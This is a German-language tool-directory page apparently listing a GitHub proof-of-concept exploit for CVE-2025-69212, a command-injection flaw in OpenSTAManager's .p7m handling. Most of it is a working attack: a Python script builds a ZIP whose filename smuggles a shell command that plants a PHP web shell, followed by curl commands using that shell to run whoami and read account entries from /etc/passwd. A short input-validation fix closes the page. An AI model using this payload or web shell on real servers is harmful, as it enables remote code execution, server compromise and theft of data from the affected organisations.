Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
OpenSTA-Exploit — Proof of Concept (PoC) zu CVE-2025-69212 im Zusammenhang mit der Verarbeitung von P7M-Dateien | Kitploit
Tools/GitHubGitHub/lolw0/opensta-exploit
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstests
GitHublolw0/opensta-exploit

OpenSTA-Exploit

Proof of Concept (PoC) zu CVE-2025-69212 im Zusammenhang mit der Verarbeitung von P7M-Dateien

Repository anzeigen
17vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

OpenSTA-Exploit

image

DatenDetail
CVE-IDCVE-2025-69212
Schwachstellen-Scorekritisch (9.4)
CWE78: Unsachgemäße Neutralisierung von Spezialelementen, die in einem Betriebssystembefehl verwendet werden
Betroffene VersionenOpenSTAManager <= 2.9.8
AngriffsvektorHochladen einer ZIP-Datei, die eine .p7m-Datei mit bösartigem Dateinamen enthält
AuthentifizierungErforderlich
AuswirkungAusführung beliebiger Systembefehle auf dem Server

Erklärung des Exploits

  1. Speichert einen Shell-Befehl in der Variable cmd (wodurch eine Datei namens SHELL.php erstellt wird, die PHP-Code enthält, der Befehle ausführen kann).
  2. Erstellt einen speziell präparierten Dateinamen, der den Befehl aus der Variable cmd verbirgt, und speichert ihn in der Variable malicious_file.
  3. Erstellt eine neue ZIP-Datei namens exploit.zip und öffnet sie zum Schreiben.
  4. Fügt eine Datei zum ZIP hinzu. Ihr Dateiname ist die Variable malicious_file.
  5. Der bösartige Dateiname wird in den exec()-Befehl eingeschleust.

PoC (Proof of Concept)

1. ZIP-Datei zum Einschleusen erstellen

import zipfile
import time

print("Creating zip file...")
time.sleep(1)

cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious_file = f'invoice.p7m";{cmd};echo ".p7m'

with zipfile.ZipFile('exploit.zip', 'w') as zf:
    zf.writestr(malicious_file, b"")

2. Datei ausführen & hochladen

lolw0@sys:~/OpenSTA-Exploit$ python3 exploit.py
Creating zip file...
lolw0@sys:~/OpenSTA-Exploit$ ls
-rw-rw-r 2 lolw0 lolw0 281 Aug 10 22:36 exploit.zip
image

image

3. Ergebnis des Exploits

XML-Parsing schlägt nach der Befehlsausführung fehl

HTTP/1.1 500 Internal Server Error

"error":{
"type":"Exception",
"message":"Start tag expected, '<' not found\n",
"code":0,
"file":"\/var\/www\/html\/openstamanager\/src\/Util\/XML.php",
"line":51}

4. Verifikation & Remote-Code-Ausführung

lolw0@sys:~/OpenSTA-Exploit$ curl "http://localhost:8080/files/SHELL.php?c=whoami"

www-data

lolw0@sys:~/OpenSTA-Exploit$ curl -s --get \ --data-urlencode 'c=getent passwd | grep -E "/home|/bin/bash|/bin/sh"' \
'http://localhost:8080/files/SHELL.php'

root:x:0:0:root:/root:/bin/bash
xxxx:x:1001:1001:,,,:/home/xxxx:/usr/sbin/nologin
yyyy:x:1002:1002:,,,:/home/yyyy:/usr/sbin/nologin
zzzz:x:1003:1003:,,,:/home/zzzz:/usr/sbin/nologin



Führt zu...

AngriffDetail
Remote-Code-AusführungVollständige Kompromittierung des Servers durch Befehlsausführung
DatenexfiltrationZugriff auf alle Anwendungsdaten und die Datenbank
RechteausweitungMögliche Ausweitung, wenn der Webserver mit erhöhten Rechten läuft oder anfällig ist
PersistenzBackdoors installieren und den Zugriff über die Zeit aufrechterhalten
Laterale BewegungPivot zu anderen Systemen/Benutzern im Netzwerk

Fix

**Ein einfacher Fix besteht darin, Dateinamen vor der Verarbeitung zu validieren (nur alphanumerische Zeichen, Punkte, Bindestriche und Unterstriche zulassen, um ungültige Dateinamen zu überspringen)

foreach ($files_xml as $xml) {
    if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) {
        continue; 
    }
    if (string_ends_with($xml, '.p7m')) {
        $file = XML::decodeP7M($directory.'/'.$xml);
    }
}

(oder du aktualisierst einfach lol)

Tool herunterladen